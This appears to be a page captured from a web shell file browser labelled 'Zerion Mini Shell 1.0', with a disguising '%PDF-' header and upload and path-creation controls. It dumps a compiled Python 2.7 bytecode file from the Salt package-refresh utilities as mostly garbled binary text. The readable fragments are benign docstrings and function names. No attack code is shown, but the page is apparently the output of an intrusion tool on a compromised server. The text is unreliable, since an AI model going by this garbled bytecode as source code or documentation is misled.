%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /lib/python2.7/site-packages/salt/utils/pkg/
Upload File :
Create Path :
Current File : //lib/python2.7/site-packages/salt/utils/pkg/__init__.pyc

�
���^c@@s�dZddlmZmZmZddlZddlZddlZddlZddl	Z
ddlZ
ddlZ
ej
e�Zd�Zd�Zd�Zdd�Zd�Zded	�ZdS(
u?
Common functions for managing package refreshes during states
i(tabsolute_importtprint_functiontunicode_literalsNcC@stjj|dd�S(u�
    Return the rtag file location. This file is used to ensure that we don't
    refresh more than once (unless explicitly configured to do so).
    ucachedirupkg_refresh(tostpathtjoin(topts((s;/usr/lib/python2.7/site-packages/salt/utils/pkg/__init__.pytrtagscC@s\ytjt|��Wn>tk
rW}|jtjkrXtjd|j��qXnXdS(u
    Remove the rtag file
    u#Encountered error removing rtag: %sN(	RtremoveRtOSErrorterrnotENOENTtlogtwarningt__str__(Rtexc((s;/usr/lib/python2.7/site-packages/salt/utils/pkg/__init__.pyt
clear_rtags
cC@stt|�}tjj|�spy#tjjj|d��WdQXWqptk
rl}t	j
d|j��qpXndS(u
    Write the rtag file
    uw+Nu"Encountered error writing rtag: %s(RRRtexiststsalttutilstfilestfopenR	RR
R(Rt	rtag_fileR((s;/usr/lib/python2.7/site-packages/salt/utils/pkg/__init__.pyt
write_rtag)s
cC@s=ttjjj|�p9tjjt|��o9|t	k	�S(u�
    Check whether or not a refresh is necessary

    Returns:

    - True if refresh evaluates as True
    - False if refresh is False
    - A boolean if refresh is not False and the rtag file exists
    (
tboolRRtdatatis_trueRRtisfileRtFalse(Rtrefresh((s;/usr/lib/python2.7/site-packages/salt/utils/pkg/__init__.pyt
check_refresh6s
cC@sOtjd|�}|r?|jd�p*d}|jd�}nd}||fS(Nu,^(<=>|!=|>=|<=|>>|<<|<>|>|<|=)?\s?([^<>=]+)$iui(tretmatchtgroup(tversionR t
comparison((s;/usr/lib/python2.7/site-packages/salt/utils/pkg/__init__.pytsplit_comparisonFscC@sjt|�\}}|s!d}nxB|D]:}tjjjd|d|d|d|d|�r(|Sq(WdS(u�
    Returns the first version of the list of available versions which matches
    the desired version comparison expression, or None if no match is found.
    u==tver1topertver2tcmp_functignore_epochN(R$RRtversionstcomparetNone(tdesiredt	availableR(R)R&R"t	candidate((s;/usr/lib/python2.7/site-packages/salt/utils/pkg/__init__.pyt
match_versionPs	
	(t__doc__t
__future__RRRR
tloggingRRtsalt.utils.dataRtsalt.utils.filestsalt.utils.versionst	getLoggert__name__RRRRR,RR$RR0(((s;/usr/lib/python2.7/site-packages/salt/utils/pkg/__init__.pyt<module>s		
	
	

Zerion Mini Shell 1.0